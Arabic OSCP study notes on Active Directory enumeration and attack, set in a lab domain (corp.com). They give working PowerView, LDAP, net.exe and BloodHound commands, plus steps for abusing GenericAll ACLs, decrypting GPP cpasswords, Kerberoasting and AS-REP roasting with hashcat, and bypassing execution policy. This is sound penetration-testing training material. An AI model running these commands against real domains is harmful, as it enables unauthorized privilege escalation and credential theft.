Active Directory — المقدمة والـ Enumeration

01مقدمة لـ Active Directory

المكوّنات الأساسية لـ AD

أنواع كائنات AD

الأهداف ذات القيمة العالية في AD

02Enumeration بأدوات Legacy — net.exe وnltest

عقلية الـ Enumeration

الـ Enumeration = جمع الاستخبارات — أساس كل هجمات AD. ابدأ من سيناريو assumed-breach: بيانات اعتماد domain صالحة (phishing، إعادة استخدام، إلخ). ابدأ من حساب domain منخفض الصلاحيات — هذا كل ما تحتاجه للـ enumeration.

الـ Enumeration ليست خطوة واحدة أبدًا — كرّرها بعد كل حساب جديد تخترقه، وبعد كل جهاز جديد تصل إليه. كل موقع جديد يكشف بيانات جديدة — الصلاحيات تختلف من حساب لحساب. كل مستخدم في الـ domain يمكنه قراءة معظم بيانات AD افتراضيًا — لا استغلال مطلوب، فقط توثيق.

net.exe — Recon سريع للـ Domain

net.exe مدمَج في كل إصدارات Windows. يتواصل مباشرةً مع الـ DC عبر LDAP/NetBIOS. لا تثبيت مطلوب — "living off the land".

# سرد كل مستخدمي الـ domain
net user /domain

# فحص مستخدم محدد (مجموعات، آخر دخول، إعدادات الباسورد)
net user jeffadmin /domain

# سرد كل مجموعات الـ domain
net group /domain

# سرد أعضاء مجموعة محددة
net group "Domain Admins" /domain
net group "Sales Department" /domain

# إيجاد Domain Controllers
nltest /dclist:corp.com

# مجموعات المستخدم الحالي
whoami /groups

ما نبحث عنه في خرج net.exe

03PowerShell وLDAP Enumeration

ليه نتجاوز net.exe

• net.exe محدود — لا يعرض كل خصائص LDAP
• PowerShell + .NET classes تعطي وصولًا لكل خاصية LDAP
• Get-ADUser cmdlets تحتاج RSAT (عادةً على الـ DCs فقط)
• البديل: استخدام .NET classes المدمجة مباشرةً

المزايا: يعمل على أي جهاز منضم للـ domain بصلاحيات مستخدم عادية | لا أدوات إضافية ولا admin rights | يستخدم LDAP شرعي — أصعب في الكشف من ضجيج الـ scanners

فهم مسارات LDAP

بناء سكربت LDAP Enumeration ديناميكي

# الخطوة 1 — إيجاد اسم الـ PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$pdc = $domain.PdcRoleOwner.Name

# الخطوة 2 — الحصول على الـ DN
$dn = ([ADSI]'').distinguishedName

# الخطوة 3 — بناء مسار LDAP الكامل
$ldap = "LDAP://$pdc/$dn"
# النتيجة: LDAP://DC1.corp.com/DC=corp,DC=com

# إنشاء searcher والاستعلام عن المستخدمين
$se = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$ldap)
$se.Filter = '(samAccountType=805306368)'
$results = $se.FindAll()

# طباعة أسماء المستخدمين
$results | ForEach-Object { $_.Properties.samaccountname }

مرجع فلاتر LDAP الأكثر فائدة

# إيجاد أعضاء Domain Admins
$se.Filter = '(&(objectClass=group)(cn=Domain Admins))'
$da = $se.FindOne()
$da.Properties.member

# Enumeration الأجهزة + نظام التشغيل
$se.Filter = '(objectClass=computer)'
$se.FindAll() | ForEach-Object {
    $_.Properties.dnshostname
    $_.Properties.operatingsystem
}

04PowerView Enumeration

# تحميل PowerView
powershell -ep bypass
Import-Module .\PowerView.ps1

مرجع أوامر PowerView الأساسية

Enumeration مستهدَف للمهاجم

# كل المستخدمين مع الخصائص المهمة
Get-NetUser | Select cn,pwdlastset,lastlogon,memberof,serviceprincipalname,description

# إيجاد SPNs (أهداف Kerberoasting)
Get-NetUser -SPN | Select samaccountname,serviceprincipalname

# أعضاء Domain Admins (بما فيهم المتداخلون)
Get-NetGroupMember "Domain Admins" -Recurse

# الأجهزة + إصدار نظام التشغيل
Get-NetComputer | Select dnshostname,operatingsystem,operatingsystemversion

إيجاد Local Admin والجلسات النشطة

# مسح كل أجهزة الـ domain (NOISY!)
Find-LocalAdminAccess

# فحص الجلسات على جهاز محدد
Get-NetSession -ComputerName CLIENT74
# ممكن يفشل على Windows 10/11 الحديثة

# بديل: PsLoggedOn (يحتاج RemoteRegistry)
.\PsLoggedOn.exe \\CLIENT74
# jeffadmin logged in → فرصة credential extraction!

05Object Permissions وACL Abuse

فهم ACL في AD

كل كائن AD له Access Control List (ACL). ACL = مجموعة من Access Control Entries (ACEs). كل ACE = من (SID) له ما من صلاحية على هذا الكائن.

Insight أساسي: ACL misconfigurations شائعة جدًا — تتراكم على مدى سنين من التغييرات IT ولا أحد يراجعها. يمكن أن تمكّن من تصعيد الصلاحيات بدون أي استغلال سوفت وير.

صلاحيات AD الخطيرة — مرجع المهاجم

# عرض ACL كائن محدد
Get-ObjectAcl -Identity 'Management Department' |
    Select ActiveDirectoryRights,SecurityIdentifier

# تحويل SID لاسم قابل للقراءة
Convert-SidToName S-1-5-21-...

# إيجاد كل GenericAll في الـ domain
Get-ObjectAcl -Domain corp.com |
    Where-Object {$_.ActiveDirectoryRights -eq 'GenericAll'} |
    Select ObjectDN,SecurityIdentifier

# استغلال GenericAll: إضافة نفسك للمجموعة
Add-DomainGroupMember -Identity 'Management Department' -Members stephanie

# تحقّق من العضوية الجديدة
Get-NetGroupMember "Management Department"

# CLEANUP — إزالة نفسك بعد الاختبار!
Remove-DomainGroupMember -Identity 'Management Department' -Members stephanie

06Domain Shares وSYSVOL وGPP Passwords

ليه الـ Shares كنز معلومات

المؤسسات تعتمد على التخزين المشترك للتعاون. الـ shares كثيرًا ما تحتوي: بيانات اعتماد، configs، سكربتات، وثائق. قابلة للقراءة بواسطة كل مستخدمي الـ domain افتراضيًا.

# إيجاد كل الـ shares في الـ domain
Find-DomainShare

# استكشاف SYSVOL بشكل recursive
ls \\dc1.corp.com\sysvol\corp.com\

# البحث عن ملفات GPP passwords
findstr /S /I 'cpassword' \\dc1.corp.com\sysvol\

# فكّ تشفير الـ cpassword
gpp-decrypt ''
# → P@ssword123!  (local admin على كل الأجهزة!)

# البحث في shares مخصَّصة عن ملفات حساسة
findstr /S /I /M 'password\|passw\|cred' *.*

07متجهات هجوم AD المتقدمة

Kerberoasting

Get-NetUser -SPN | Select samaccountname,serviceprincipalname

Invoke-Kerberoast -OutputFormat Hashcat

hashcat -m 13100 hashes.txt rockyou.txt
# النتيجة: باسورد service account بنص واضح
# حسابات الخدمة غالبًا ذات صلاحيات عالية!

AS-REP Roasting

# LDAP filter
$se.Filter = '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'

Rubeus.exe asreproast /format:hashcat

hashcat -m 18200 hashes.txt rockyou.txt
# → باسورد مستخدم domain مكشوف

هجمات Kerberos Delegation

AdminSDHolder وSDProp — Persistence خفي

LAPS وShadow Credentials

08BloodHound وSharpHound

ليه الـ Enumeration الآلي

الـ Enumeration اليدوي يبني الفهم — لكنه بطيء. المؤسسات الكبيرة: آلاف المستخدمين والأجهزة وملايين الصلاحيات. رسم خرائط العلاقات يدويًا مستحيل عمليًا. BloodHound يحلّ هذا: يجمع كل بيانات علاقات الـ domain آليًا، يبني قاعدة بيانات رسم بياني تفاعلية، يجد أقصر مسار من أي مستخدم لـ Domain Admin.

SharpHound — أداة جمع البيانات

SharpHound يستخدم آليات Windows الشرعية للجمع:

• NetWkstaUserEnum → المستخدمون المسجَّلون على كل جهاز
• NetSessionEnum → الجلسات الشبكية النشطة
• LDAP queries → كل كائنات AD وخصائصها
• Remote Registry → بيانات الإعداد

ما يجمعه: عضوية المستخدمين/المجموعات + المجموعات المتداخلة | صلاحيات local admin على كل جهاز | الجلسات النشطة (من مسجَّل دخول أين) | ACLs وصلاحيات الكائنات | SPNs وحسابات الخدمة

# تحميل في الذاكرة (fileless)
powershell -ep bypass
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# الخرج: أرشيف ZIP من ملفات JSON
# استورد الـ ZIP في BloodHound للتحليل

BloodHound — استعلامات قوية

# المستخدمون الذين لديهم GenericAll على أي شيء
MATCH p=(m:User)-[r:GenericAll]->(n)
WHERE m.name = 'STEPHANIE@CORP.COM'
RETURN p

# مستخدمون Kerberoastable بمسار لـ Domain Admins
MATCH p=shortestPath(
  (n:User {hasspn:true})-[*1..]->(m:Group {name:'DOMAIN ADMINS@CORP.COM'})
)
RETURN p

مثال مسار هجوم حقيقي — BloodHound يكشفه

BloodHound يعرض الرسم البياني التالي:

ما يعنيه هذا:

1. Stephanie لديها local admin على CLIENT74
2. Domain Admin jeffadmin لديه جلسة نشطة على CLIENT74
3. استخرج credentials jeffadmin من LSASS على CLIENT74
4. استخدم credentials للتوثيق كـ Domain Admin

هذا بالضبط كيف تحدث كثير من عمليات اختراق AD الحقيقية. BloodHound يجد هذا المسار من 3 hops في ثوانٍ عبر +10,000 node.

Cheat Sheet مرجعي

net user /domain                         # كل مستخدمي الـ domain
net user USERNAME /domain               # تفاصيل مستخدم محدد
net group /domain                       # كل مجموعات الـ domain
net group "Domain Admins" /domain      # أعضاء مجموعة محددة
nltest /dclist:DOMAIN                   # إيجاد Domain Controllers
whoami /groups                          # مجموعات المستخدم الحالي

Get-NetDomain                                         # معلومات الـ domain
Get-NetDomainController                              # كل الـ DCs
Get-NetUser | Select cn,pwdlastset,description       # مستخدمون + خصائص
Get-NetUser -SPN                                      # أهداف Kerberoasting
Get-NetGroupMember "Domain Admins" -Recurse          # أعضاء DA
Get-NetComputer | Select dnshostname,operatingsystem # الأجهزة + OS
Find-LocalAdminAccess                                # أجهزة أنت admin عليها
Get-NetSession -ComputerName MACHINE                 # جلسات نشطة
Get-ObjectAcl -Identity 'GROUP' | Select ActiveDirectoryRights,SecurityIdentifier
Find-DomainShare                                     # كل الـ shares

الخلاصة العامة للموديول

Active Directory هو العمود الفقري لشبكات المؤسسات — اختراقه يعني اختراق المؤسسة بالكامل. الـ Enumeration مستمر — كرّره بعد كل حساب أو جهاز جديد؛ كل مستوى يكشف مسارات هجوم جديدة.

القاعدة الذهبية: الـ Enumeration الشامل أهم من أي إكسبلويت. أدوات مثل net.exe وPowerView وBloodHound تعطيك الخريطة — أنت فقط تتبع المسارات. كل خطوة تُنفَّذ على بيانات حقيقية مجموعة من الـ domain نفسه.

نهاية نوتس الموديول التاسع عشر — OSCP: Active Directory Introduction & Enumeration